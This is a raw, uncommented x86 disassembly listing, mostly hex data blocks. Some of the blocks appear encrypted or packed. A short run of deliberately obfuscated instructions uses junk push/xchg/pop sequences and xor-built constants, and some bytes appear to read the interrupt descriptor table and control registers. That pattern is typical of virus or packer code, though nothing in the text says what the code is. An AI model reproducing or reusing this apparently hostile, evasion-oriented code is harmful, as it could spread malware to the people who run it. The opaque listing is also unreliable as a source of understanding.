		dd 0E9000000h, 20Bh, 245C8B60h,	0E824h,	815D0000h, 0ED7061EDh
		dd 4C26105h, 0FFE6E900h, 6160FFFFh, 0E90008C2h,	0FFFFFFF6h
		dd 8C26160h, 0FFF6E900h, 6160FFFFh, 0E90008C2h,	0FFFFFFF6h
		dd 8C26160h, 0FFF6E900h, 0FFFFh, 0
		dd 61600000h, 0FFF8E9C3h, 0B58BFFFFh, 5ED7099h,	0F000E681h
		dd 0BE9FFFFh, 0E8000000h, 19h, 1000C681h, 0B53B0000h, 5ED709Dh
		dd 0FFE9860Fh, 200FFFFFh, 0D8220FD8h, 0C36160CFh, 0C88C6650h
		dd 0C00A0324h, 19840Fh,	53500000h, 2BBh, 85858B00h, 8605EA2Bh
		dd 0FDB0A18h, 0FFFFF685h, 58585BFFh, 0C32404FFh, 0FFFFCFE9h
		dd 74FF50FFh, 95FF0824h, 5EA315Dh, 4C010F50h, 8358FE24h
		dd 8B531CC0h, 660C245Ch, 66FC5889h, 5B025889h, 24C88C66h
		dd 0FC00A03h, 984h, 85858B00h, 0C605EA2Bh, 0FF580000h
		dd 4C22404h, 0FFBBE900h, 5053FFFFh, 80CB8C66h, 0DB0A03E3h
		dd 38840Fh, 2BB0000h, 8B000000h, 0EA2B8585h, 0A188605h
		dd 0F6850FDBh, 0C7FFFFFFh, 0EA293D85h, 5, 24448B00h, 988B08h
		dd 89000010h, 100098h, 89188B00h, 0AE918h, 85C70000h, 5EA293Dh
		dd 100h, 4FF5B58h, 0A3E9C324h, 60FFFFFFh, 0F003E80h, 3184h
		dd 0B7A1BB00h, 1B0763Ah, 13E901B1h, 0AC000000h,	0C302C88Ah
		dd 0CBD1C332h, 0FD20BAAh, 184h,	0C90A4A00h, 0FFE5850Fh
		dd 0D20BFFFFh, 0FFDD850Fh, 0C361FFFFh, 57D48B52h, 33087A8Bh
		dd 1E9C0h, 80AA0000h, 850F003Fh, 0FFFFFFF6h, 4C25A5Fh
		dd 56515300h, 0DB33C033h, 10E9h, 0D833AC00h, 0C381D3D1h
		dd 37465ABCh, 0D3D3C88Ah, 0FC90B49h, 0FFFFE885h, 5EC38BFFh
		dd 60C35B59h, 3AB7A1BBh, 0E901B076h, 11h, 2AC332ACh, 0AACBD1C3h
		dd 840FD20Bh, 1, 0FC00A4Ah, 0FFFFE785h,	0FD20BFFh, 0FFFFDF85h
		dd 66C361FFh, 4A8D88Ch,	29840Fh, 85C70000h, 5ED703Eh, 1
		dd 4C010F50h, 858FFE24h, 5ED7042h, 703A858Dh, 0BD8D05EDh
		dd 5ED7042h, 23E93889h,	8D000000h, 0EA1A9185h, 38408B05h
		dd 46F31705h, 3A85899Bh, 8D05ED70h, 0EA1A9185h,	3C408B05h
		dd 703E8589h, 858D05EDh, 5ED7057h, 315D8589h, 87E905EAh
		dd 52000000h, 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch,	7E9A945h
		dd 0
		dd 0D1063006h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h
		dd 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h, 30000000h
		dd 0D1062806h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h
		dd 5156D48Bh, 8BDB3353h, 4A8B0872h, 13E90Ch, 3CAC0000h
		dd 0A840F2Dh, 4000000h,	32133498h, 8C3C1D8h, 0FC90B49h
		dd 0FFFFE585h, 5BC38BFFh, 0C25A5E59h, 858D0008h, 5ED72CAh
		dd 0CDD8589h, 858D05EAh, 5ED72F2h, 75D8589h, 858D05EAh
		dd 5ED731Ah, 15758589h,	0BE805EAh, 79000000h, 0BC293AE7h
		dd 0E2044755h, 10E9DDE7h, 0A2000000h, 5408F7EDh, 0B9F04862h
		dd 56E72521h, 5BB68376h, 0BE9h,	1361A400h, 89EDB43Ch, 94247C8Ah
		dd 73AFC381h, 0AE90000h, 8E000000h, 95207DAEh, 0C6C35FABh
		dd 0FD22BB7h, 34FFF3B7h, 13E91Ah, 0B83F0000h, 0F375FC30h
		dd 538BC46Bh, 277DDFA7h, 1C7CA2A8h, 0DBF59BBh, 8159D7F5h
		dd 1CA6E6C1h, 81C18A33h, 0D2CFE4C1h, 0EE97Ah, 1E890000h
		dd 0B60FAA4Eh, 0ECAA2D61h, 0A8F05199h, 0D68E981h, 0CE96936h
		dd 93000000h, 0F7F81B48h, 0C62702Dh, 51C649E8h,	8C0Fh
		dd 48F0000h, 8E0F13h, 50000000h, 0EA815FFCh, 47F18684h
		dd 80C281F8h, 8147F186h, 0FF8D70FAh, 1B850FFFh,	0B8000000h
		dd 0B3A6596h, 49E9h, 0D7A19900h, 0CEC20178h, 4436A995h
		dd 864683Ah, 11E8B81Bh,	2B000000h, 0A9E1B846h, 0B4DD571Ah
		dd 15C1A0Ch, 0F33FAFFEh, 0A870Fh, 5E90000h, 83000000h
		dd 3AA5E898h, 0FF34E958h, 52EFFFFh, 36C52822h, 96BDAD08h
		dd 8EB358Bh, 2 dup(0)
		dd 7BE9h, 0F526000h, 0FE244C01h, 24C2835Ah, 2D1858Bh, 858D05EAh
		dd 5EDA3DCh, 888B088Bh,	1000h, 8B660A8Bh, 8D89FC4Ah, 5ED74A3h
		dd 15DDBD83h, 0F0005EAh, 0F84h,	6A6000h, 101595FFh, 0E96105EAh
		dd 0FFFFFFC4h, 0FC728966h, 6610CEC1h, 52027289h, 895A04CDh
		dd 0ED749F85h, 0A3B58B05h, 0C105ED74h, 896610CEh, 0B58B0272h
		dd 5ED74A3h, 0FC728966h, 9F858B61h, 0C305ED74h,	1839958Dh
		dd 958905EAh, 5EA2B85h,	0C959589h, 85FF05EAh, 5EA0C95h
		dd 1A4585C6h, 685305EAh, 0FCB148D8h, 1D45B5FFh,	858D05EAh
		dd 5EA3969h, 8589D0FFh,	5EA1015h, 7071858Dh, 858905EDh
		dd 5EA2999h, 20EBh, 7 dup(0)
		dd 92E90000h, 0E9000005h, 586h,	0ED774B68h, 8D8E905h, 0FD68FFFDh
		dd 0E905ED77h, 0FFFD08CEh, 0ED798968h, 8C4E905h, 468FFFDh
		dd 0E905ED7Ah, 0FFFD08BAh, 0ADF99ED2h, 297D2057h, 0A9FDA0D3h
		dd 27731E53h, 0AAFE9DDDh, 81F18D0Ch, 0FA7C86D2h, 85F70D59h
		dd 0F97C86D2h, 34A60C58h, 43DBAE86h, 0D38D011Dh, 0E07DE93Ah
		dd 0AD2F1CA1h, 0A6CAA60Ah, 2E8D2EACh, 11A3398Bh, 1756671Bh
		dd 5355F66Eh, 8FD17D20h, 0C16D0C41h, 8235A7ADh,	67655B21h
		dd 9DD39756h, 0ED957C6Fh, 0DEAFDCD4h, 35CAEC22h, 74187072h
		dd 5EE99FD7h, 2C15B40Eh, 4C000000h, 1B11A339h, 6E175667h
		dd 582F55F6h, 0D5175667h, 15A7F9C4h, 12BB139Ah,	3CDF13EDh
		dd 0C490FC90h, 2EE5h, 50854B00h, 11A702A1h, 1756671Fh
		dd 36A69DECh, 29B3ED81h, 60CC6FE7h, 22CF060Ch, 3B41E28Eh
		dd 12BB13BCh, 7C9970Fh,	0EC802CCFh, 6D4E174Fh, 0BDE34FEEh
		dd 0EA1DFF73h, 36F3E1D0h, 0AAD0731Fh, 68A9C89Bh, 74F93779h
		dd 0B82466C5h, 99CD70E3h, 104E2360h, 48E499DEh,	4FD58724h
		dd 76ACA7A6h, 717BD853h, 86FC5FFEh, 975676B2h, 0CF6CE22Ch
		dd 0D18F176Ch, 5703F94Bh, 0EE769756h, 6EE7ED4Dh, 1B539DC3h
		dd 39F0D239h, 7E122778h, 451DBED2h, 0CE906DBCh,	0BBC33B7Ch
		dd 81F00E92h, 7C107CD0h, 7505CB22h, 976FFBACh, 3570DCBAh
		dd 71D21428h, 0B2D1A7D1h, 612F916Bh, 891EEAF3h,	5F6EAE23h
		dd 37000000h, 1C421B6Eh, 0BB126EAEh, 47198112h,	1C46BDAEh
		dd 2487058Bh, 8435B876h, 0F6A32AD0h, 240FDDC5h,	489931E2h
		dd 2F1h, 590DB226h, 0DD892CA3h,	5501B427h, 0DB8F2AAFh
		dd 5602B121h, 0CD0D71F0h, 4E807A2Eh, 0D103F9ADh, 4D807A2Eh
		dd 0C052F8ACh, 43DE7A72h, 0E841CD1Dh, 2BCB6h, 0EE6DEF00h
		dd 0A395E34Fh, 17175666h, 175666A1h, 56672415h,	374BA17h
		dd 60665913h, 432FBA83h, 5A2083EFh, 17570666h, 5705E8D8h
		dd 6665A17h, 3EF0D757h,	0A19B29B8h, 14575705h, 4643E08Ch
		dd 86346A33h, 52BBED71h, 2E70DC44h, 62CE6FE0h, 264AEB68h
		dd 0AC798085h, 31A668F2h, 62552F8Ch, 0D54CCFBAh, 0B7F7CD7Fh
		dd 0D24A4B7Fh, 54F899D8h, 91675438h, 0A5A80D1Bh, 23FDC0Dh
		dd 60900000h, 0DE11EBBFh, 62916B3Fh, 0DC1DE7B3h, 5F93693Dh
		dd 0CF4EE8BCh, 0C49043B7h, 4F1BB83Eh, 0C49047B5h, 4E1AB73Eh
		dd 0F0C476E4h, 431D43DDh, 0E86D66CFh, 96D91749h, 84274BE7h
		dd 1DC2D24h, 146EED5Fh,	990112BBh, 11C437CDh, 0A251814Fh
		dd 30A35901h, 0B17F218Dh, 1B11A340h, 6E1168F2h,	3C399AF6h
		dd 0FC4E10EDh, 0CCD9F57h, 0A02672EAh, 0B7B7BD0h, 4A22900Ah
		dd 0BD0B7B7Ch, 76838625h, 0BC43F1AFh, 4F06E029h, 92B32B96h
		dd 0B6DADA32h, 2AF26E8h, 8829AC56h, 3BDC18D6h, 6A4E3898h
		dd 0A3058D68h, 38D18F56h, 82F72FF9h, 0F54FAD7h,	3F8DDF7Ch
		dd 0F251C4h, 3FF1AF37h,	0B54F1BB6h, 633D9140h, 30714BF9h
		dd 5CC4FFA0h, 0D1721F56h, 0A02FC5ABh, 6A3346FFh, 0DCFD8634h
		dd 28B0FB04h, 0AD22EC76h, 28ADAB08h, 0AE27DD89h, 0EF8F4642h
		dd 2F43BBABh, 0C07F8A83h, 2C40EC8Dh, 53AC1E40h,	8FF517C1h
		dd 0F65B2766h, 18BBA413h, 70E9BA63h, 391291E0h,	0B98FF955h
		dd 7F3C5ADh, 26D21B49h,	5D107D80h, 1CBF5A93h, 0C45h, 1F111C00h
		dd 3417567Ch, 7, 7D1F116Dh, 6E4C1756h, 0AE1C421Bh, 12BB142Dh
		dd 1EBB3EC0h, 8435B8B2h, 44284428h, 0AB98E1E8h,	451B7722h
		dd 6ADF87ACh, 47885EC6h, 3A563A96h, 9F51CB99h, 611BB85Bh
		dd 0CCE5E8Eh, 39DC1FE1h, 80D4F995h, 6DA7C975h, 301C2F43h
		dd 0D4E80F48h, 0B3AD7Ch, 74E40000h, 0EA6D97C3h,	76E51F4Bh
		dd 0E86993C7h, 73E71D49h, 0B33294C0h, 88DC7FF3h, 0B5FFC72h
		dd 88DC83F1h, 0A5EFB72h, 0AC8032A0h, 1F1D43DFh,	0F7393A93h
		dd 7A7FDC7Fh, 9208562Fh, 66C2BA08h, 0AD351756h,	5666E1DBh
		dd 0F5CF7D17h, 48175666h, 9C3FA7D0h, 14DF7CCEh,	52BB12BBh
		dd 5F071CBEh, 0F78C2FA0h, 0BFCAC36Fh, 290AB8E6h, 9C0CCEDFh
		dd 0F64D3704h, 49E1E80Dh, 3898h, 30E76900h, 0A4599E64h
		dd 14C90AF0h, 9A37BA40h, 15C634CEh, 1C66E741h, 93693DDEh
		dd 16ECB85Bh, 9F6531E6h, 45EFBB56h, 0E18F65D7h,	6EE21D43h
		dd 3B6C7h, 8EF0000h, 34EB6DA5h,	0BE5B9298h, 3BDC1812h
		dd 0BA599D97h, 3DDE1C16h, 0A4579B91h, 22CF0208h, 0A657848Eh
		dd 2ECF000Ah, 8956E982h, 4C681E6h, 83000000h, 343304EEh
		dd 24343124h, 5C243433h, 81E68956h, 4C6h, 4EE8100h, 87000000h
		dd 895C2434h, 8956240Ch, 4C681E6h, 81000000h, 4EEh, 24348700h
		dd 243C895Ch, 265AD2B9h, 2E9C17Bh, 6E9C141h, 5875BD55h
		dd 0E58117CFh, 11C43A02h, 0A8ED8145h, 0F74DA36Dh, 7E5C1D5h
		dd 3087C581h, 0E90145D7h, 0FDF1815Dh, 8130A87Bh, 0B827A3F1h
		dd 75876800h, 24890000h, 24048124h, 4, 0C889505Fh, 89C18951h
		dd 5859084Fh, 5F2434FFh, 4C481h, 34FF0000h, 0C4815924h
		dd 4, 0FD0369E9h, 2F96F9FFh, 0DD03B236h, 1F9A08h, 61B88A2Bh
		dd 305ED7Ah, 0E9C88BC5h, 51h, 24748B60h, 3C760324h, 28247C8Bh
		dd 0C281D68Bh, 0F8h, 64E8B66h, 83C9B70Fh, 840F00F9h, 16h
		dd 0F0C7A3Bh, 158Fh, 28EA8300h,	8B0C428Bh, 0C12B144Ah
		dd 7C89F82Bh, 0C2611C24h, 0C2830008h, 850F4928h, 0FFFFFFCFh
		dd 0FFFFE9E9h, 0FD3EBAFFh, 0EB0009h, 5C5E9h, 5B9E900h
		dd 84680000h, 0E905ED7Ch, 0FFFD02E2h, 0ED7D8968h, 2D8E905h
		dd 2068FFFDh, 0E905ED7Eh, 0FFFD02CEh, 0ED7F0368h, 2C4E905h
		dd 0F168FFFDh, 0E905ED7Fh, 0FFFD02BAh, 0ADF99ED2h, 297D2057h
		dd 0A9FDA0D3h, 27731E53h, 0AAFE9DDDh, 81F18D0Ch, 0FA7C86D2h
		dd 85F70D59h, 0F97C86D2h, 34A60C58h, 43E1AE86h,	248D011Dh
		dd 56671F11h, 275BB17h,	3093FF53h, 5667724Ah, 0DD05EC17h
		dd 0FD78ECFFh, 0E3FBD90h, 6287E92h, 78EADFA5h, 0BE701756h
		dd 5B379B38h, 78AE82F8h, 2F001756h, 83175679h, 975678ADh
		dd 5D54C029h, 0A92761FDh, 23FA0F0Ah, 0F2BCCF7Dh, 0D74F92BCh
		dd 26124789h, 0B30DF2BCh, 9F335FD9h, 777973C1h,	54CC916Ch
		dd 7C99B38h, 0B27C22D5h, 653D9E3Bh, 9E351CBh, 7C916C77h
		dd 134147E4h, 0C0C9C06Ch, 3609BBE5h, 898CD254h,	7F382211h
		dd 64CC680Ah, 406B5h, 0B067E900h, 24D91EE4h, 94498A70h
		dd 1AB73AC0h, 9546B44Eh, 9CE667C1h, 13E9BD5Eh, 966C38DBh
		dd 1FE5B166h, 0C56F3BD6h, 0E30FE557h, 0EE621D43h, 49E86D47h
		dd 275BBE5h, 0B58AF053h, 75175666h, 0D6FB5706h,	49941425h
		dd 0B33B31B9h, 42FCAC00h, 9FC5E312h, 0AA72E6Dh,	8031A45Eh
		dd 2AF262Ch, 1C4806AEh,	0E5BB569Fh, 7F7CD7Fh, 76101757h
		dd 0FA3D5347h, 892AB2C5h, 599365D1h, 71E3340Eh,	0BA000003h
		dd 0E549E86Dh, 56669C93h, 0DB629217h, 2589E598h, 0A509AC2Fh
		dd 278B26AFh, 31A3E14Bh, 1732D0Ch, 0D28633BAh, 6458EA78h
		dd 0D7175666h, 6BE9E34Fh, 804EE0B4h, 503A051h, 848D21D0h
		dd 512B9982h, 0A4175666h, 0FE04503Ch, 7C76DA77h, 0A30D59FAh
		dd 0E84BEA6Dh, 56659E92h, 2FEA6C17h, 3559F5A8h,	0ADFCF559h
		dd 373C8ED0h, 0A312BC4Ah, 4882E14Ah, 62C10E29h,	0B2B28119h
		dd 46E2210Bh, 3013FEEh,	74E40000h
		dd 0EA6D97C3h, 76E51F4Bh, 0E86993C7h, 73E71D49h, 0B33294C0h
		dd 88DC7FF3h, 0B5FFC72h, 88DC83F1h, 0A5EFB72h, 0AC8032A0h
		dd 1F1D43E3h, 0F7393A93h, 107CD083h, 4D8D4E3Dh,	882BE0C7h
		dd 6AA478Eh, 8428C90Ch,	31E214DAh, 0D7629492h, 0CA9EF2A5h
		dd 8B28AA64h, 92E84B27h, 1756FDDEh, 570CE0D0h, 0BA82E17h
		dd 0D163F9A7h, 1756ECDBh, 6F15B62Eh, 1756ED99h,	5DFF8792h
		dd 21D41BCCh, 0F7C91B0Ch, 4477C59Bh, 0F712BC55h, 7F665C6Fh
		dd 369EE220h, 26AE7h, 540B4D00h, 0C075FA00h, 48ED6E94h
		dd 0C673E61Ch, 49EA6892h, 483ABB1Dh, 0C73D690Ah, 42B8EC8Fh
		dd 0C3396D12h, 11BBEF8Ah, 0E53B3183h, 28E1D43h,	85F739ABh
		dd 0B1127ED2h, 3F933EB7h, 0BD11C035h, 3C9043B7h, 0BE12BF36h
		dd 0F12450EEh, 82E51759h, 66D2AA18h, 0BD251756h, 65D5181Eh
		dd 853136h, 6B4EA26h, 1756C62Eh, 21751981h, 0E97E395h
		dd 1E21334h, 114A0000h,	1756671Fh, 9ECA6DEFh, 0EB47F864h
		dd 0B8F85CB5h, 79789151h, 0FFA0DCDAh, 7A195953h, 0FD9EDCD6h
		dd 4BB9FB51h, 0A0CC822Ah, 8D67D54Fh, 0E0175758h, 0A0942678h
		dd 13175757h, 0AE2E288Bh, 1FE95D09h, 6F340F2Ah,	54h, 29CC0FC1h
		dd 1B6E2F8Ah, 5AE1C42h,	0D112BC4Ch, 8925D81Fh, 0A53D46E5h
		dd 2097AA96h, 27F65EE2h, 187h, 6135EA6Eh, 0F5A1549Bh, 7D29CC0Fh
		dd 0F3A75287h, 7E2AC909h, 0B52559D8h, 26A85206h, 99DB2175h
		dd 548B2E6h, 38AA0054h,	43E5B28Ah, 2089051Dh, 1F1DAF3Dh
		dd 92175667h, 30ACA60Ah, 0AC21DB8Fh, 31FFA10Dh,	0D1BD11C0h
		dd 462F7772h, 0CB6CE812h, 7AFF319Fh, 0BC1F73DFh, 0D88633BAh
		dd 9033E016h, 7B43A30h,	0D96BF953h, 175666E3h, 764EFC56h
		dd 0C9175667h, 9B913D51h, 8F1A558h, 6213400Bh, 62CEA2CEh
		dd 1E4AEB68h, 5666A898h, 7EFC3217h, 0BE1D71DDh,	0C9976EBBh
		dd 0BC54EC7Bh, 5EEC7612h, 116C3566h, 24B41D9h, 178FF457h
		dd 0AD508749h, 0E1DB69F3h, 54116C34h, 0CD376FCCh, 1947EB8Ah
		dd 5DF1A4D7h, 68949231h, 0DD111BB7h, 5B98923Eh,	0A1F16BAh
		dd 39F76D33h, 0C0BA19B8h, 0CD237DFh, 17F9CA52h,	2FE80AABh
		dd 995687h, 5C9C0000h, 0E215EFBBh, 5E9D6733h, 0E011EBBFh
		dd 5B9F6531h, 0CB4AECB8h, 0D08437BBh, 0A3F7A42Ah, 30641B59h
		dd 82D683CAh, 3408BA28h, 871D43E6h, 0E86DA20Bh,	66EFE549h
		dd 81CF67CBh, 60114453h, 38F88034h, 3D04340Eh, 5D000000h
		dd 56671E11h, 0B822B817h, 5667320Ah, 6B1D8517h,	17566791h
		dd 0D0CA3DE4h, 85C47DC1h, 94C4AE9h, 862AC70Eh, 0C508C7EAh
		dd 0C8CAC693h, 905EF0A4h, 0F6A3D661h, 0BE4399Ah, 0BD000000h
		dd 56671F11h, 0CB66EF17h, 0DC8C69Fh, 215h, 6D278A00h, 929834EBh
		dd 1812BE5Bh, 9D973BDCh, 1C16BA59h, 9B913DDEh, 208A457h
		dd 848E22CFh, 0AA657h, 0E9822ECFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 1ED74D9Ah
		xor	ecx, 1ED74D9Eh
		add	ebp, ecx
		pop	ecx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		push	ebx
		push	2F806E10h
		pop	ebx
		push	edi
		mov	edi, 2A6D15AFh
		xor	ebx, edi
		pop	edi
		mov	edi, ebx
		pop	ebx
		push	4630h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, edi
		mov	[esi+8], ebx
		pop	ebx
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5488E2
; ---------------------------------------------------------------------------
		db 23h
		dd 0B84B7C7Fh, 5ED80AFh, 0D18BC503h, 0D9E9h, 0BE1D2000h
		dd 82C12C0Fh, 0B6CFDF2Fh, 5D54FDBEh, 0ECA43636h, 5DD500BCh
		dd 76D352C5h, 0FC94A4D6h, 0AEC44100h, 77CB50C1h, 0ACAC3252h
		dd 91B8009Ch, 0CD64F7F6h, 389382h, 3C0000h, 400000h, 940000h
		dd 50000h, 10000h, 0A280000h, 20000h, 20h dup(0)
		dd 3B320000h, 3AE9380Fh, 68000020h, 5ED844Ah, 0FCFC3DE9h
		dd 854768FFh, 33E905EDh, 68FFFCFCh, 5ED8605h, 0FCFC29E9h
		dd 86D768FFh, 1FE905EDh, 68FFFCFCh, 5ED87E5h, 0FCFC15E9h
		dd 88A068FFh, 0BE905EDh, 68FFFCFCh, 5ED899Eh, 0FCFC01E9h
		dd 8A7668FFh, 0F7E905EDh, 68FFFCFBh, 5ED8E48h, 0FCFBEDE9h
		dd 8EC468FFh, 0E3E905EDh, 68FFFCFBh, 5ED9012h, 0FCFBD9E9h
		dd 932268FFh, 0CFE905EDh, 68FFFCFBh, 5ED968Bh, 0FCFBC5E9h
		dd 99C768FFh, 0BBE905EDh, 68FFFCFBh, 5ED9B47h, 0FCFBB1E9h
		dd 9BDC68FFh, 0A7E905EDh, 68FFFCFBh, 5ED9C3Dh, 0FCFB9DE9h
		dd 9CA168FFh, 93E905EDh, 68FFFCFBh, 5ED9DA3h, 0FCFB89E9h
		dd 9EDD68FFh, 7FE905EDh, 68FFFCFBh, 5ED9FF1h, 0FCFB75E9h
		dd 30E769FFh, 0A4599E64h, 14C90AF0h, 9A37BA40h,	15C634CEh
		dd 1C66E741h, 93693DDEh, 16ECB85Bh, 9F6531E6h, 45EFBB56h
		dd 0EA8F65D7h, 6EE21D43h, 49E86DC7h, 2A8FE17h, 8F23D006h
		dd 6FACCEE3h, 3AD5614Ch, 0AA4CE6BCh, 39F7A909h,	0A2A407B6h
		dd 23DA8E2Bh, 0E3510FD6h, 12BCE0B4h, 0DB411F87h, 6CBE9369h
		dd 0DD7EE611h, 0BE350B7Dh, 0CD83116Ch, 4DA54C9Fh, 8538BBDCh
		dd 81684529h, 0C28A296Dh, 2E251136h, 0CA4F834Dh, 2A86EA87h
		dd 32EEC674h, 0D941116Dh, 354F16B5h, 16000000h,	1C421B6Eh
		dd 0BC48B5AEh, 61FB6112h, 6C37D9D3h, 0C2B42C11h, 116C37EAh
		dd 882BA35Dh, 0A43C47E4h, 388A7E08h, 0B8F6116Ch, 0A77014Ch
		dd 0CB872E24h, 0DE000000h, 0D285F739h, 53FE7771h, 0D685F5FFh
		dd 5CFD707Ah, 0C673FAF0h, 63651492h, 0A4291756h, 0F165ABF5h
		dd 2B0EE42h, 1756632Ah,	0CA69059Dh, 34E56892h, 8132A46Ah
		dd 7E8B8222h, 8C143DE6h, 8CE07208h, 0D7D760D2h,	0F26A12BBh
		dd 734A5FA6h, 0FA79B72Dh, 7982F85Bh, 0C0CD019h,	0CA50CA94h
		dd 7EE78478h, 0CC6FF70Bh, 0BFEB88CAh, 55661545h, 0E80E80F0h
		dd 777DAC04h, 2700001Dh, 0A05A0EB1h, 20DA8E2Fh,	0AC5602B3h
		dd 22D88C2Dh, 0F15703B0h, 13C03270h, 9A39BD47h,	17C834CEh
		dd 8534B943h, 5BE97BD1h, 1D43EB61h, 6DF158D4h, 0F4A528EDh
		dd 0BF36CC98h, 64D64C12h, 17566790h, 97257BE3h,	1756669Dh
		dd 732B8810h, 39DC13DDh, 1B6E3F9Ah, 0B5AE1C42h,	4812BC48h
		dd 360A7CD0h, 82116C38h, 0A355A0CCh, 0D32E240Ah, 0E2h
		dd 49E86D8Ah, 96B0FE17h, 0B05EDA19h, 4BDD009Dh,	37946D42h
		dd 0BE5D9D97h, 4F824C12h, 0C1620EA2h, 574606BBh, 0F2458817h
		dd 1C70DC81h, 97DE2470h, 920856FAh, 57454C20h, 8427BF17h
		dd 2D9F7881h, 17574557h, 5E32AAh, 7526549Ah, 6C16B5D9h
		dd 12BD4AE3h, 0B7714F96h, 7D0295D8h, 6DBC4511h,	66E5DBD1h
		dd 35593BB1h, 2AC3D96Bh, 88760CD1h, 6B07AB4Ch, 63975907h
		dd 0DC1EE4B0h, 0B671659h, 0D6DDD38h, 1ECF67E8h,	1C7Ah
		dd 0A5F1A62Ah, 3165185Fh, 81D588CBh, 0F5BF67Bh,	82D685F5h
		dd 99D9A524h, 2254AEFAh, 9DDF2571h, 2154AEFAh, 1C8E2470h
		dd 43EBD6AEh, 0CA5291Dh, 1A4EED6Dh, 4CFE6DE0h, 17566778h
		dd 0D9D361CBh, 2C175666h, 0E0B4D8B4h, 0A354804Eh, 67754FFDh
		dd 50C81756h, 0E86D56F3h, 66EFE549h, 212C9FCBh,	0FF3CB37Dh
		dd 0BCB6DA7Dh, 3E3B9839h, 0FE4C12EBh, 12BC7D45h, 0FA9DDF11h
		dd 0C2303A56h, 37C9B211h, 0D7BB17C2h, 0A9DB61BBh, 22A5EDEEh
		dd 0E2500ED7h, 5043F349h, 108A43Ch, 0D7AD1FF8h,	2A4EF3C0h
		dd 3280DEB2h, 4A59BA95h, 20EEB028h, 0A2580CADh,	64BD8E2Bh
		dd 98AA83DFh, 1BBCE130h, 0E8680000h, 56996337h,	0CA09F3A7h
		dd 54857F2Bh, 0C70BF1A5h, 67E64014h, 6C38DB1Fh,	0E7B36096h
		dd 6C38DF1Dh, 0E6B25F96h, 986CDE4Ch, 0EB1D43EDh, 0E86DCE67h
		dd 9DECE549h, 21509EC0h, 66FCF042h, 0D74F1756h,	0F84A18BBh
		dd 12BC4407h, 6A04A37Ah, 0A8D4AEFh, 0D6BA16C3h,	3182D6BAh
		dd 11EC3D20h, 2946FD4Fh, 0C7390CD2h, 0A3528192h, 0C379A3CFh
		dd 0C512CA6Ah, 0D58B52A7h, 36AFCC67h, 7927BF3Fh, 7D5B51E3h
		dd 36AE3DE6h, 7CE2DA68h, 0CD553DE6h, 7990CE6Eh,	5D277CACh
		dd 94478B62h, 9B385438h, 0ECB28B9Eh, 0F0C476h, 0DB433DE7h
		dd 13D3785h, 28B03DE7h,	0EC6BD98Bh, 9F394CFAh, 5E975907h
		dd 9AF6A5D5h, 10C134CEh, 90A00423h, 69B810BBh, 1AEAh, 0D58136BAh
		dd 0A1F5A82Fh, 3165185Bh, 0BFEB86CBh, 32661545h, 0E9691594h
		dd 72E41E4Ah, 0ED6F95C1h, 71E41E4Ah, 0AC3E94C0h, 43ED261Eh
		dd 0BC15991Dh, 6908E86Dh, 41F46763h, 2838A26Ch,	0CBA70BACh
		dd 6E67CBA7h, 0EAC2701Bh, 5D175685h, 45F7A9C5h,	12BC6A5Eh
		dd 5DDC11F8h, 0C3EE8FC0h, 252FCCC7h, 0DBA003B2h, 77B91743h
		dd 0B0025CFFh, 116B89BCh, 7B34970Fh, 5E0514C7h,	0DED4781Dh
		dd 0E488E499h, 68EE20BAh, 591268CBh, 2C0CD1A0h,	16D46EB4h
		dd 0CC8029E8h, 8B28CD02h, 0FCA27B8Eh, 8A2BA866h, 0CC985329h
		dd 8C426A3Eh, 6905A94Ah, 8529B1CAh, 20927D8Ch, 68EE9A4Ch
		dd 10A27BFh, 4936A81Ah,	52E0BED2h, 6454D0B5h, 8A2DAF61h
		dd 2AAC5229h, 25492589h, 9F08E17Bh, 0EACCA0Fh, 0BC3A3244h
		dd 738D6304h, 9EF25E01h, 0CD0351F2h, 47BDE988h,	9E3510Eh
		dd 556304BCh, 4BC0DE7h,	8FF86063h, 33487B17h, 719088ACh
		dd 19DC08D9h, 48880000h, 0B639C397h, 2AA95307h,	0B425DF8Bh
		dd 27AB5105h, 7862074h,	0C58FB7Fh, 87D380F6h, 0C58FF7Dh
		dd 86D27FF6h, 380CBE2Ch, 8B1D43EEh, 0E86DAE07h,	215DAB08h
		dd 57200DACh, 1FADF31Fh, 1756B825h, 326C0098h, 0B8221AA8h
		dd 0D951756h, 0F2070EAEh, 0C6090E4Dh, 0BBD7BB17h, 83B89D7h
		dd 0BB12BC97h, 0FAC47723h, 15F2673h, 0D2A9F8B3h, 8953CB0Ch
		dd 40E51733h, 0F4D1D8DEh, 18AA30AAh, 0E3FC424h,	0D6AC0F97h
		dd 9A5D91Dh, 2D248810h,	0C55F01DCh, 0A717ED5Fh,	0F26A0855h
		dd 0A0AC2B51h, 0C75F03BBh, 89CD0399h, 64F49EAh,	90C53F6Bh
		dd 0F99FD2E1h, 7DD5F121h, 1921ACh, 0D48BCD00h, 40F57A80h
		dd 0C86DEE14h, 46F3669Ch, 0C96AE812h, 0C8BA3B9Dh, 47BDE98Ah
		dd 0C2386C0Fh, 43B9ED92h, 913B6F0Ah, 0EEBBB103h, 820E1D43h
		dd 2FE86D2Bh, 5359F5A8h, 0B3DF731Eh, 411FB3DFh,	5A94C8Fh
		dd 0BACFCA69h, 0E927BDE3h, 458BF464h, 92C16A76h, 40275DFEh
		dd 9A12BC81h, 0D3702154h, 0D76430A8h, 774E5B02h, 84E09B29h
		dd 4BD30CD2h, 7F142B91h, 909978CAh, 0FB2816F4h,	0E08C364Ah
		dd 79CD24BEh, 89A8D06Fh, 0F289F350h, 0C5731F3Bh, 8E7DD6Fh
